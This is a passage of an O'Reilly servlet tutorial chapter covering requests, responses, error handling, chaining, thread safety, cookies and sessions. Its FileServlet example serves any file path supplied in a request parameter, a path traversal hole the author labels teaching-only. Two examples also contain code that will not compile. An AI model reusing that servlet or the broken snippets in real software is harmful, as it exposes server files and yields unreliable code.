[3] In the Java Web Server 1.1, the getParameter() method was deprecated in favor of getParameterValues(), which returns a String array rather than a single string. However, after an extensive write-in campaign, Sun took getParameter() off the deprecated list for Version 2.0 of the Servlet API, so you can safely use this method in your servlets.

Figure 5-2. Output from HelloServlet

5.2.3. POST, HEAD, and Other Requests

As I mentioned before, doGet() is just one of a collection of enabling methods for HTTP request types. doPost() is the corresponding method for POST requests. The POST request is designed for posting information to the server, although in practice it is also used for long parameterized requests and larger forms, to get around limitations on the length of URLs.

If your servlet is performing database updates, charging a credit card, or doing anything that takes an explicit client action, you should make sure this activity is happening in a doPost() method. That's because POST requests are not idempotent, which means that they are not safely repeatable, and web browsers treat them specially. For example, a browser cannot bookmark or, in some cases, reload a POST request. On the other hand, GET requests are idempotent, so they can safely be bookmarked, and a browser is free to issue the request repeatedly without necessarily consulting the user. You can see why you don't want to charge a credit card in a GET method!

To create a servlet that can handle POST requests, all you have to do is override the default doPost() method from HttpServlet and implement the necessary functionality in it. If necessary, your application can implement different code in doPost() and doGet(). For instance, the doGet() method might display a postable data entry form that the doPost() method processes. doPost() can even call doGet() at the end to display the form again.

The less common HTTP request types, such as HEAD, PUT, TRACE, and DELETE, are handled by other doXXX() dispatch methods. A HEAD request returns HTTP headers only, PUT and DELETE allow clients to create and remove resources from the web server, and TRACE returns the request headers to the client. Since most servlet programmers don't need to worry about these requests, the HttpServlet class includes a default implementation of each corresponding doXXX() method that either informs the client that the request is unsupported or provides a minimal implementation. You can provide your own versions of these methods, but the details of implementing PUT or DELETE functionality go rather beyond our scope.

5.2.4. Servlet Responses

In order to do anything useful, a servlet must send a response to each request that is made of it. In the case of an HTTP servlet, the response can include three components: a status code, any number of HTTP headers, and a response body.

The ServletResponse and HttpServletResponse interfaces include all the methods needed to create and manipulate a servlet's output. We've already seen that you specify the MIME type for the data returned by a servlet using the setContentType() method of the response object passed into the servlet. With an HTTP servlet, the MIME type is generally "text/html," although some servlets return binary data: a servlet that loads a GIF file from a database and sends it to the web browser should set a content type of "image/gif" while a servlet that returns an Adobe Acrobat file should set it to "application/pdf".

ServletResponse and HttpServletResponse each define two methods for producing output streams, getOutputStream() and getWriter(). The former returns a ServletOutputStream, which can be used for textual or binary data. The latter returns a java.io.PrintWriter object, which is used only for textual output. The getWriter() method examines the content-type to determine which charset to use, so setContentType() should be called before getWriter().

HttpServletResponse also includes a number of methods for handling HTTP responses. Most of these allow you to manipulate the HTTP header fields. For example, setHeader(), setIntHeader(), and setDateHeader() allow you to set the value of a specified HTTP header, while containsHeader() indicates whether a certain header has already been set. You can use either the setStatus() or sendError() method to specify the status code sent back to the server. HttpServletResponse defines a long list of integer constants that represent specific status codes (we'll see some of these shortly). You typically don't need to worry about setting a status code, as the default code is 200 ("OK"), meaning that the servlet sent a normal response. However, a servlet that is part of a complex application structure (such as the file servlet included in the Java Web Server that handles the dispatching of HTML pages) may need to use a variety of status codes. Finally, the sendRedirect() method allows you to issue a page redirect. Calling this method sets the Location header to the specified location and uses the appropriate status code for a redirect.

5.2.5. Servlet Requests

When a servlet is asked to handle a request, it typically needs specific information about the request so that it can process the request appropriately. We've already seen how a servlet can retrieve the value of a form variable and use that value in its output. A servlet may also need access to information about the environment in which it is running. For example, a servlet may need to find out about the actual user who is accessing the servlet, for authentication purposes.

The ServletRequest and HttpServletRequest interfaces provide access to this kind of information. When a servlet is asked to handle a request, the server passes it a request object that implements one of these interfaces. With this object, the servlet can find out about the actual request (e.g., protocol, URL, type), access parts of the raw request (e.g., headers, input stream), and get any client-specific request parameters (e.g., form variables, extra path information). For instance, the getProtocol() method returns the protocol used by the request, while getRemoteHost() returns the name of the client host. The interfaces also provide methods that let a servlet get information about the server (e.g., getServername(), getServerPort()). As we saw earlier, the getParameter() method provides access to request parameters such as form variables. There is also the getParameterValues() method, which returns an array of strings that contains all the values for a particular parameter. This array generally contains only one string, but some HTML form elements (as well as non-HTTP oriented services) do allow multiple selections or options, so the method always returns an array, even if it has a length of one.

HttpServletRequest adds a few more methods for handling HTTP-specific request data. For instance, getHeaderNames() returns an enumeration of the names of all the HTTP headers submitted with a request, while getHeader() returns a particular header value. Other methods exist to handle cookies and sessions, as we'll discuss later.

Example 5-1 shows a servlet that restricts access to users who are connecting via the HTTPS protocol, using Digest style authentication, and coming from a government site (a domain ending in .gov).

Example 5-1. Checking Request Information to Restrict Servlet Access

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;

public class SecureRequestServlet extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse resp)
    throws ServletException, IOException {

    resp.setContentType("text/html");
    PrintWriter out = resp.getWriter();

    out.println("<HTML>");
    out.println("<HEAD><TITLE>Semi-Secure Request</TITLE></HEAD>");
    out.println("<BODY>");

    String remoteHost = req.getRemoteHost();
    String scheme = req.getScheme();
    String authType = req.getAuthType();

    if((remoteHost == null) || (scheme == null) || (authType == null)) {
      out.println("Request Information Was Not Available.");
      return;
    }

    if(scheme.equalsIgnoreCase("https") && remoteHost.endsWith(".gov")
       && authType.equals("Digest")) {
      out.println("Special, secret information.");
    }
    else {
      out.println("You are not authorized to view this data.");
    }

    out.println("</BODY></HTML>");
  }
}

5.2.6. Error Handling

Sometimes things just go wrong. When that happens, it's nice to have a clean way out. The Servlet API gives you two ways of to deal with errors: you can manually send an error message back to the client or you can throw a ServletException. The easiest way to handle an error is simply to write an error message to the servlet's output stream. This is the appropriate technique to use when the error is part of a servlet's normal operation, such as when a user forgets to fill in a required form field.

5.2.6.1. Status codes

When an error is a standard HTTP error, you should use the sendError() method of HttpServletResponse to tell the server to send a standard error status code. HttpServletResponse defines integer constants for all the major HTTP status codes. Table 5-1 lists the most common status codes. For example, if a servlet cannot find a file the user has requested, it can send a 404 ("File Not Found") error and let the browser display it in its usual manner. In this case, we can replace the typical setContentType() and getWriter() calls with something like this:

response.sendError(HttpServletResponse.SC_NOT_FOUND);

If you want to specify your own error message (in addition to the web server's default message for a particular error code), you can call sendError() with an extra String parameter:

response.sendError(HttpServletResponse.SC_NOT_FOUND,
                   "It's dark. I couldn't find anything.");

Table 5-1. Some Common HTTP Error Codes

Mnemonic | Code | Default | Meaning
Content |  | Message |
SC_OK | 200 | OK | The client's request succeeded, and the server's response contains the requested data. This is the default status code.
SC_NO_CONTENT | 204 | No Content | The request succeeded, but there is no new response body to return. A servlet may find this code useful when it accepts data from a form, but wants the browser view to stay at the form. It avoids the "Document contains no data" error message.
SC_MOVED_ PERMANENTLY | 301 | Moved Permanently | The requested resource has permanently moved to a new location. Any future reference should use the new location given by the Location header. Most browsers automatically access the new location.
SC_MOVED_ TEMPORARILY | 302 | Moved Temporarily | The requested resource has temporarily moved to another location, but future references should still use the original URL to access the resource. The temporary new location is given by the Location header. Most browsers automatically access the new location.
SC_ UNAUTHORIZED | 401 | Unauthorized | The request lacked proper authorization. Used in conjunction with the WWW-Authenticate and Authorization headers.
SC_NOT_FOUND | 404 | Not Found | The requested resource is not available.
SC_INTERNAL_ SERVER_ERROR | 500 | Internal Server Error | An error occurred inside the server that prevented it from fulfilling the request.
SC_NOT_ IMPLEMENTED | 501 | Not Implemented | The server does not support the functionality needed to fulfill the request.
SC_SERVICE_ UNAVAILABLE | 503 | Service Unavailable | The server is temporarily unavailable, but service should be restored in the future. If the server knows when it will be available again, a Retry-After header may also be supplied.

5.2.6.2. Servlet exceptions

The Servlet API includes two Exception subclasses, ServletException and its derivative, UnavailableException. A servlet throws a ServletException to indicate a general servlet problem. When a server catches this exception, it can handle the exception however it sees fit.

UnavailableException is a bit more useful, however. When a servlet throws this exception, it is notifying the server that it is unavailable to service requests. You can throw an UnavailableException when some factor beyond your servlet's control prevents it from dealing with requests. To throw an exception that indicates permanent unavailability, use something like this:

throw new UnavailableException(this, "This is why you can't use the servlet.");

UnavailableException has a second constructor to use if the servlet is going to be temporarily unavailable. With this constructor, you specify how many seconds the servlet is going to be unavailable, as follows:

throw new UnavailableException(120, this, "Try back in two minutes");

One caveat: the servlet specification does not mandate that servers actually try again after the specified interval. If you choose to rely on this capability, you should test it first.

5.2.6.3. A file serving servlet

Example 5-2 demonstrates both of these error-handling techniques, along with another method for reading data from the server. FileServlet reads a pathname from a form parameter and returns the associated file. Note that this servlet is designed only to return HTML files. If the file cannot be found, the servlet sends the browser a 404 error. If the servlet lacks sufficient access privileges to load the file, it sends an UnavailableException instead. Keep in mind that this servlet exists as a teaching exercise: you should not deploy it on your web server. (For one thing, any security exception renders the servlet permanently unavailable, and for another, it can serve files from the root of your hard drive.)

Example 5-2. Serving Files

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;

public class FileServlet extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse resp)
    throws ServletException, IOException {

    File r;
    FileReader fr;
    BufferedReader br;
    try {
      r = new File(req.getParameter("filename"));
      fr = new FileReader(r);
      br = new BufferedReader(fr);
      if(!r.isFile()) {  // Must be a directory or something else
        resp.sendError(resp.SC_NOT_FOUND);
        return;
      }
    }
    catch (FileNotFoundException e) {
      resp.sendError(resp.SC_NOT_FOUND);
      return;
    }
    catch (SecurityException se) { // Be unavailable permanently
      throw(new UnavailableException(this,
        "Servlet lacks appropriate privileges."));
    }

    resp.setContentType("text/html");
    PrintWriter out = resp.getWriter();
    String text;
    while( (text = br.readLine()) != null)
      out.println(text);

    br.close();
  }
}

5.2.7. Security

Servlets don't generally handle their own security arrangements. Instead, they typically rely on the capabilities of the web server to limit access to them. The security capabilities of most web servers are limited to basic on-or-off access to specific resources, controlled by username and password (or digital certificate), with possible encryption-in-transmission using SSL. Most servers are limited to basic authentication, which transmits passwords more or less in the clear, while some (including JWS) support the more advanced digest authentication protocol, which works by transmitting a hash of the user's password and a server-generated value, rather than the password itself. Both of these approaches look the same to the user; the familiar "Enter username and password" window pops up in the web browser.

The HttpServletRequest interface includes a pair of basic methods for retrieving standard HTTP user authentication information from the web server. If your web server is equipped to limit access, a servlet can retrieve the username with getRemoteUser() and the authentication method (basic, digest, or SSL) with getAuthType(). Consult your server documentation for details on using authentication to protect server resources.

Why are these methods useful? Consider a web application that uses the web server's authentication support to restrict access to authorized users, but needs to control access among that set of users. The username returned by getRemoteUser() can be used to look up specific privileges in an access control database. This is similar to what we did in Example 5-1, except access is now controlled by username, instead of hostname.

Previous | Home | Next
5.1. The Servlet Life Cycle | Book Index | 5.3. Servlet Chaining
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Servlet Chaining (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

5.3. Servlet Chaining

So far, we have looked at servlets that take requests directly from the server and return their results directly to the client. Servlets were designed as a generic server extension technology, however, rather than one devoted solely to performing CGI-like functions. A servlet can just as easily take its input from another servlet, and a servlet really doesn't care very much about where its output goes.

Most web servers that implement servlets have also implemented a feature called servlet chaining, where the server routes a request through an administrator-defined chain of servlets. At the end of the sequence, the server sends the output to the client. Alternately, some servers can be configured to route certain MIME types through certain servlets. If a filtering servlet is configured to take all of the output with the MIME type "servlet/filterme," another servlet can produce data with that MIME type, and that data will be passed to the filtering servlet. The filtering servlet, after doing its work, can output HTML for the browser. MIME-based filtering also allows servlets to filter objects that don't come from a servlet in the first place, such as HTML files served by the web server.[4]

[4] It is interesting to note that the Java Web Server is completely servlet-based; it even uses an internal servlet to serve static HTML files. JWS users can easily implement a filtering servlet by chaining it to the end of the file servlet. To use servlet chaining in JWS, you must activate the feature using the administration tool.

Example 5-3 demonstrates a basic servlet, derived from HttpServlet, that examines incoming text for a <DATE> tag and replaces the tag with the current date. This servlet is never called on its own, but instead after another servlet (such as, an HTML generator) has produced the actual content.

Example 5-3. Date Filtering Servlet

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;
import java.util.*;

public class DateFilter extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse resp)
    throws ServletException, IOException {

    PrintWriter out = resp.getWriter();

    String contentType = req.getContentType();
    if (contentType == null)
      return; // No incoming data

    // Note that if we were using MIME filtering we would have to set this to
    // something different to avoid an infinite loop
    resp.setContentType(contentType);

    BufferedReader br = new BufferedReader(req.getReader());

    String line = null;
    Date d = new Date();
    while ((line = br.readLine()) != null) {
      int index;
      while ((index=line.indexOf("<DATE>")) >= 0)
        line = line.substring(0, index) + d + line.substring(index + 6);
      out.println(line);
    }

    br.close();
  }
}

The DateFilter servlet works by reading each line of input, scanning for the text <DATE>, and replacing it with the current date. This example introduces the getReader() method of HttpServletRequest, which returns a PrintReader that points to the original request body. When you call getReader() in an HttpServlet, you can read the original HTTP form variables, if any. When this method is used within a filtering servlet, it provides access to the output of the previous servlet in the chain.

Previous | Home | Next
5.2. Servlet Basics | Book Index | 5.4. Custom Servlet Initialization
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Custom Servlet Initialization (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

5.4. Custom Servlet Initialization

At the beginning of this chapter, I talked about how a servlet's persistence can be used to build more efficient web applications. This is accomplished via class variables and the init() method. When a server loads a servlet for the first time, it calls the servlet's init() method and does not make any service calls until init() has finished. In the default implementation, init() simply handles some basic housekeeping, but a servlet can override the method to perform whatever one-time tasks are required. This often means doing some sort of I/O-intensive resource creation, such as opening a database connection. You can also use the init() method to create threads that perform various ongoing tasks. For instance, a servlet that monitors the status of machines on a network might create a separate thread to periodically ping each machine. When an actual request occurs, the service methods in the servlet can use the resources created in init(). Thus, the status monitor servlet might display an HTML table with the status of the various machines. The default init() implementation is not a do-nothing method, so you should remember to always call the super.init() method as the first action in your own init() routines.[5]

[5] Note that you no longer have to do this with Version 2.1 of the Servlet API. The specification has been changed so that you can simply override a no-argument init() method, which is called by the Generic Servletinit(ServletConfig) implementation.

The server passes the init() method a ServletConfig object, which can include specific servlet configuration parameters (for instance, the list of machines to monitor). ServletConfig encapsulates the servlet initialization parameters, which are accessed via the getInitParameter() and getInitParameterNames() methods. GenericServlet and HttpServlet both implement the ServletConfig interface, so these methods are always available in a servlet (one of the things the default init() implementation does is store the ServletConfig object for these methods, which is why it is important that you always call super.init()). Different web servers have different ways of setting initialization parameters, so we aren't going to discuss how to set them. Consult your server documentation for details.

Every servlet also has a destroy() method that can be overwritten. This method is called when, for whatever reason, a server unloads a servlet. You can use this method to ensure that important resources are freed, or that threads are allowed to finish executing unmolested. Unlike init(), the default implementation of destroy() is a do-nothing method, so you don't have to worry about invoking the superclass' destroy() method.

Example 5-4 shows a counter servlet that saves its state between server shutdowns. It uses the init() method to first try to load a default value from a servlet initialization parameter. Next the init() method tries to open a file named /data/counter.dat and read an integer from it. When the servlet is shut down, the destroy() method creates a new counter.dat file with the current hit-count for the servlet.

Example 5-4. A Persistent Counter Servlet

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;

public class LifeCycleServlet extends HttpServlet {

  int timesAccessed;

  public void init(ServletConfig conf) throws ServletException {

    super.init(conf);

    // Get initial value
    try {
      timesAccessed = Integer.parseInt(getInitParameter("defaultStart"));
    }
    catch(NullPointerException e) {
     timesAccessed = 0;
    }
    catch(NumberFormatException e) {
      timesAccessed = 0;
    }

    // Try loading from the disk
    try {
      File r = new File("./data/counter.dat");
      DataInputStream ds = new DataInputStream(new FileInputStream(r));
      timesAccessed = ds.readInt();
    }
    catch (FileNotFoundException e) {
      // Handle error
    }
    catch (IOException e) {
      // This should be logged
    }
    finally {
      ds.close();
    }
  }

  public void doGet(HttpServletRequest req, HttpServletResponse resp)
    throws ServletException, IOException {

    resp.setContentType("text/html");
    PrintWriter out = resp.getWriter();

    timesAccessed++;

    out.println("<HTML>");
    out.println("<HEAD>");
    out.println("<TITLE>Life Cycle Servlet</TITLE>");
    out.println("</HEAD><BODY>");

    out.println("I have been accessed " + timesAccessed + " time[s]");
    out.println("</BODY></HTML>");
  }

  public void destroy() {

    // Write the Integer to a file
    File r = new File("./data/counter.dat");
    try {
      DataOutputStream dout = new DataOutputStream(new FileOutputStream(r));
      dout.writeInt(timesAccessed);
    }
    catch(IOException e) {
      // This should be logged
    }
    finally {
      dout.close();
    }
  }
}
Previous | Home | Next
5.3. Servlet Chaining | Book Index | 5.5. Thread Safety
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Thread Safety (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

5.5. Thread Safety

In a typical servlet scenario, only one copy of any particular servlet is loaded at any given time. Each servlet might, however, be called upon to deal with multiple requests at the same time. This means that a servlet needs to be thread-safe. If a servlet doesn't use any class variables (that is, any variables with a scope broader than the service method itself), it is generally already thread-safe. If you are using any third-party libraries or extensions, make sure that those components are also thread-safe. However, a servlet that maintains persistent resources needs to make sure that nothing untoward happens to those resources. Imagine, for example, a servlet that maintains a bank balance using an int in memory.[6] If two servlets try to access the balance at the same time, we might get this sequence of events:

[6] Hey, bear with me on this one. It's certainly more than adequate for my salary...

User 1 connects to the servlet to make a $100 withdrawal.
The servlet checks the balance for User 1, finding $120.
User 2 connects to the servlet to make a $50 withdrawal.
The servlet checks the balance for User 2, finding $120.
The servlet debits $100 for User 1, leaving $20.
The servlet debits $50 for User 2, leaving -$30.
The programmer is fired.

Obviously, this is incorrect behavior, particularly that last bit. We want the servlet to perform the necessary action for User 1, and then deal with User 2 (in this case, by giving him an insufficient funds message). We can do this by surrounding sections of code with synchronized blocks. While a particular synchronized block is executing, no other sections of code that are synchronized on the same object (usually the servlet or the resource being protected) can execute. For more information on thread safety and synchronization, see Java Threads by Scott Oaks and Henry Wong (O'Reilly).

Example 5-5 implements the ATM display for the First Bank of Java. The doGet() method displays the current account balance and provides a small ATM control panel for making deposits and withdrawals, as shown in Figure 5-3.[7] The control panel uses a POST request to send the transaction back to the servlet, which performs the appropriate action and calls doGet() to redisplay the ATM screen with the updated balance.

[7] Despite the fact that Java is a very large island, there's still only one account.

Figure 5-3. The First Bank of Java ATM display

Example 5-5. An ATM Servlet

import javax.servlet.*;
import javax.servlet.http.*;
import java.util.*;
import java.io.*;

public class AtmServlet extends HttpServlet {

  Account act;

  public void init(ServletConfig conf) throws ServletException {
    super.init(conf);
    act = new Account();
    act.balance = 0;
  }

  public void doGet(HttpServletRequest req, HttpServletResponse resp)
    throws ServletException, IOException {

    resp.setContentType("text/html");
    PrintWriter out = resp.getWriter();

    out.println("<HTML><BODY>");
    out.println("<H2>First Bank of Java ATM</H2>");
    out.println("Current Balance: <B>" + act.balance + "</B><BR>");
    out.println("<FORM METHOD=POST ACTION=/servlet/AtmServlet>");
    out.println("Amount: <INPUT TYPE=TEXT NAME=AMOUNT SIZE=3><BR>");
    out.println("<INPUT TYPE=SUBMIT NAME=DEPOSIT VALUE=\"Deposit\">");
    out.println("<INPUT TYPE=SUBMIT NAME=WITHDRAW VALUE=\"Withdraw\">");
    out.println("</FORM>");
    out.println("</BODY></HTML>");
  }

  public void doPost(HttpServletRequest req, HttpServletResponse resp)
    throws ServletException, IOException {

    int amt=0;

    try {
      amt = Integer.parseInt(req.getParameter("AMOUNT"));
    }
    catch (NullPointerException e) {
      // No Amount Parameter passed
    }
    catch (NumberFormatException e) {
      // Amount Parameter was not a number
    }

    synchronized(act) {
      if(req.getParameter("WITHDRAW") != null) && (amt < act.balance)
        act.balance = act.balance - amt;
      if(req.getParameter("DEPOSIT") != null) && (amt > 0)
        act.balance = act.balance + amt;
    } // end synchronized block

    doGet(req, resp);                   // Show ATM screen
  }

  public void destroy() {
    // This is where we would save the balance to a file
  }

  class Account {
    public int balance;
  }
}

The doPost() method alters the account balance contained within an Account object act (since Account is so simple, I've defined it as an inner class). In order to prevent multiple requests from accessing the same account at once, any code that alters act is synchronized on act. This ensures that no other code can alter act while a synchronized section is running.

The destroy() method is defined in the AtmServlet, but it contains no actual code. A real banking servlet would obviously want to write the account balance to disk before being unloaded. And if the servlet were using JDBC to store the balance in a database, it would also want to destroy all its database related objects.

A more complex servlet than AtmServlet might need to synchronize its entire service method, limiting the servlet to one request at a time. In these situations, it sometimes makes sense to modify the standard servlet life cycle a little bit. We can do this by implementing the SingleThreadModel interface. This is a tag interface that has no methods; it simply tells the server to create a pool of servlet instances, instead of a single instance of the servlet. To handle an incoming request, the server uses a servlet from the pool and only allows each copy of the servlet to serve one request at a time. Implementing this interface effectively makes a servlet thread-safe, while allowing the server to deal with more than one connection at a time. Of course, using SingleThreadModel does increase resource requirements and make it difficult to share data objects within a servlet.

Another use for SingleThreadModel is to implement simple database connection sharing. Having multiple database connections can improve performance and avoid connection overloading. Of course, for more advanced or high-traffic applications, you generally want to manage connection pooling explicitly, rather than trusting the web server to do it for you.

Previous | Home | Next
5.4. Custom Servlet Initialization | Book Index | 5.6. Server-Side Includes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Server-Side Includes (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

5.6. Server-Side Includes

Servlets are not confined to handling entire requests. Some web servers allow servlets to add small amounts of dynamic content to otherwise static HTML pages. This is similar to the server-side include functionality found in most web servers, but includes additional servlet-specific functionality. For example, let's assume that we want to use a server-side include to add a randomly selected advertisement to a page. A page that uses the advertisement servlet is written just like a normal HTML page, except that it contains one or more <SERVLET> tags and is saved with the .shtml extension. The <SERVLET> tag is similar to the <APPLET> tag, which loads an applet within a page. When a client requests a .shtml page, the server finds all of the <SERVLET> tags in the text and replaces them with the output from the appropriate servlets.

When you use a <SERVLET> tag, you must include a CODE parameter that identifies the servlet to be loaded. This can be a class name or a servlet alias set up within the server. On some servers, you can specify an optional CODEBASE parameter that loads the servlet code from a remote location. Any additional parameters are treated as servlet initialization parameters. Each <SERVLET> tag must be matched by a closing </SERVLET> tag. Between the opening and closing tags, you can include as many <PARAM> tags as necessary, where you specify NAME and VALUE attributes for each one. The servlet can then access these parameters with getParameter().

Now let's look at an HTML page that actually uses a servlet with a server-side include. Here's a sample .shtml file:

<HTML>
<HEAD><TITLE>Today's News</TITLE></HEAD>
<BODY>
<H1>Headlines</H1>
<H2>Java Servlets Take Over Web!</H2>
<SERVLET CODE=AdMaker>
<PARAM NAME=pagetitle VALUE="Headlines">
</SERVLET>
</BODY>
</HTML>

The actual AdMaker servlet is shown in Example 5-6.

Example 5-6. An Advertising Servlet

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;

public class AdMaker extends HttpServlet {

  static String[] adText = { "Al's Web Services",
                             "Bob's House of HDs",
                             "Main St. Computers" };
  int currentAd = 0;

  public void doGet(HttpServletRequest req, HttpServletResponse resp)
    throws ServletException, IOException {

    String adContent;
    PrintWriter out = resp.getWriter();
    synchronized(this) {
      adContent = adText[currentAd];
      currentAd++;
      if (currentAd >= adText.length)
        currentAd = 0;
    }
    String title = req.getParameter("pagetitle");
    if(title != null)
      out.println(title + " is brought to you by");
    else
      out.println("This page is brought to you by");
    out.println(adContent);
  }
}

This servlet really isn't too different from the other ones we've looked at. It accesses parameters (in this case from the <SERVLET> tag instead of a set of HTTP form values) and uses a PrintWriter to produce HTML. It does not set a content type or manipulate any HTTP headers, however, because that information may have been sent to the browser before the servlet begins executing.

Server-side includes can be a powerful tool, but they are not part of the standard Servlet API, and therefore some servlet implementations may not support them at all. To make matters worse, some implementations may work in a different manner (this is especially true of third-party servlet runners that plug into non-Java-aware web servers). The example here was developed and tested with Java Web Server. If you want to use server-side includes, you should read your server documentation first.

JavaServer Pages (commonly referred to as JSP) is another technology for accessing server-side Java components directly in HTML pages. The overall effect is not unlike Microsoft's Active Server Pages (ASP). As of this writing, Sun has just finalized the JSP 1.0 specification and several server vendors have announced support for it.

Previous | Home | Next
5.5. Thread Safety | Book Index | 5.7. Cookies
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Cookies (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

5.7. Cookies

Cookies spent a year or two as a little-known feature of Netscape Navigator before becoming the focus of a raging debate on electronic privacy. Ethical and moral considerations aside, cookies allow a web server to store small amounts of data on client systems. Cookies are generally used to store basic user identification or configuration information. Because a cookie's value can uniquely identify a client, cookies are often used for session tracking (although, as we'll see shortly, the Servlet API provides higher-level support for session tracking).

To create a cookie, the server (or, more precisely, a web application running on the server) includes a Cookie header with a specific value in an HTTP response. The browser then transmits a similar header with that value back to the server with subsequent requests, subject to certain rules. The web application can then use the cookie value to keep track of a particular user, handle session tracking, or whatever. Because cookies use a single Cookie header, the syntax for a cookie allows for multiple name/value pairs in the overall cookie value.

More information about the cookies is available from the original Netscape specification document at http://home.netscape.com/newsref/std/cookie_spec.html. The Internet Engineering Task Force is currently working on a standard cookie specification, defined in RFC-2109, available at http://www.internic.net/rfc/rfc2109.txt.

The Servlet API includes a class, javax.servlet.http.Cookie, that abstracts cookie syntax and makes it easy to work with cookies. In addition, HttpServletResponse provides an addCookie()) method, and HttpServletRequest provides a getCookies() method, to aid in writing cookies to and reading cookies from the HTTP headers, respectively. To find a particular cookie, a servlet needs to read the entire collection of values and look through it:

Cookie[] cookies;
cookies = req.getCookies();
String userid = null;

for (int i = 0; i < cookies.length; i++)
  if (cookies[i].getName().equals("userid"))
    userid = cookies[i].getValue();

A cookie can be read at any time, but can be created only before any content is sent to the client. This is because cookies are sent using HTTP headers and these headers can be sent to the client before the regular content. Once any data has been written to the client, the server can flush the output and send the headers at any time, so you cannot create any new cookies safely. You must create new cookies before sending any output. Here's an example of creating a cookie:

String userid = createUserID();          // Create a unique ID
Cookie c = new Cookie("userid", userid);
resp.addCookie(c);                       // Add the cookie to the HTTP headers

Note that a web browser is only required to accept 20 cookies per site and 300 total per user, and the browser can limit each cookie's size to 4096 bytes.

Cookies can be customized to return information only in specific circumstances. In particular, a cookie can specify a particular domain, a particular path, an age after which the cookie should be destroyed, and whether or not the cookie requires a secure (HTTPS) connection. A cookie is normally returned only to the host that specified it. For example, if a cookie is set by server1.company.com, it isn't returned to server2.company.com. We can get around this limitation by setting the domain to .company.com with the setDomain() method of Cookie. By the same token, a cookie is generally returned for pages only in the same directory as the servlet that created the cookie or under that directory. We can get around this limitation using setPath(). Here's a cookie that is returned to all pages on all top-level servers at company.com:

String userid = createUserID();   // Create a unique ID
Cookie c = new Cookie("userid", userid);
c.setDomain(".company.com");      // *.company.com, but not *.web.company.com
c.setPath("/");                   // All pages
resp.addCookie(c);                // Add the cookie to the HTTP headers
Previous | Home | Next
5.6. Server-Side Includes | Book Index | 5.8. Session Tracking
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Session Tracking (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

5.8. Session Tracking

Very few web applications are confined to a single page, so having a mechanism for tracking users through a site can often simplify application development. The Web, however, is an inherently stateless environment. A client makes a request, the server fulfills it, and both promptly forget about each other. In the past, applications that needed to deal with a user through multiple pages (for instance, a shopping cart) had to resort to complicated dodges to hold onto state information, such as hidden fields in forms, setting and reading cookies, or rewriting URLs to contain state information.

Fortunately, Version 2.0 of the Servlet API provides classes and methods specifically designed to handle session tracking. A servlet can use the session-tracking API to delegate most of the user-tracking functions to the server. The first time a user connects to a session-enabled servlet, the servlet simply creates a javax.servlet.http.HttpSession object. The servlet can then bind data to this object, so subsequent requests can read the data. After a certain amount of inactive time, the session object is destroyed.

A servlet uses the getSession() method of HttpServletRequest to retrieve the current session object. This method takes a single boolean argument. If you pass true, and there is no current session object, the method creates and returns a new HttpSession object. If you pass false, the method returns null if there is no current session object. For example:

HttpSession thisUser = req.getSession(true);

When a new HttpSession is created, the server assigns a unique session ID that must somehow be associated with the client. Since clients differ in what they support, the server has a few options that vary slightly depending on the server implementation. In general, the server's first choice is to try to set a cookie on the client (which means that getSession() must be called before you write any other data back to the client). If cookie support is lacking, the API allows servlets to rewrite internal links to include the session ID, using the encodeUrl() method of HttpServletResponse. This is optional, but recommended, particularly if your servlets share a system with other, unknown servlets that may rely on uninterrupted session tracking. However, this on-the-fly URL encoding can become a performance bottleneck because the server needs to perform additional parsing on each incoming request to determine the correct session key from the URL. (The performance hit is so significant that the Java Web Server disables URL encoding by default.)

To use URL encoding, you have to run all your internal links through encodeUrl(). Say you have a line of code like this:

out.println("<A HREF=\"/servlet/CheckoutServlet\">Check Out</A>");

You should replace it with:

out.print("<A HREF=\"");
out.print(resp.encodeUrl("/servlet/CheckoutServlet");
out.println("\">Check Out</A>");

JWS, in this case, adds an identifier beginning with $ to the end of the URL. Other servers have their own methods. Thus, with JWS, the final output looks like this:

<A HREF="/servlet/CheckoutServlet$FASEDAW23798ASD978">CheckOut</A>"

In addition to encoding your internal links, you need to use encodeRedirectUrl() to handle redirects properly. This method works in the same manner as encodeUrl(). Note that in Version 2.1 of the Servlet API, both methods have been deprecated in favor of identical methods that use the more standard "URL" in their names: encodeURL() and encodeRedirectURL().

You can access the unique session ID via the getID() method of HttpSession. This is enough for most applications, since a servlet can use some other storage mechanism (i.e., a flat file, memory, or a database) to store the unique information (e.g., hit count or shopping cart contents) associated with each session. However, the API makes it even easier to hold onto session-specific information by allowing servlets to bind objects to a session using the putValue() method of HttpSession. Once an object is bound to a session, you can use the getValue() method.

Objects bound using putValue() are available to all servlets running on the server. The system works by assigning a user-defined name to each object (the String argument); this name is used to identify objects at retrieval time. In order to avoid conflicts, the general practice is to name bound objects with names of the form applicationname.objectname. For example:

session.putValue("myservlet.hitcount", new Integer(34));

Now that object can be retrieved with:

Integer hits = (Integer)session.getValue("myservlet.hitcount")

Example 5-7 demonstrates a basic session-tracking application that keeps track of the number of visits to the site by a particular user. It works by storing a counter value in an HttpSession object and incrementing it as necessary. When a new session is created (as indicated by isNew(), which returns true if the session ID has not yet passed through the client and back to the server), or the counter object is not found, a new counter object is created.

Example 5-7. Counting Visits with Sessions

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;

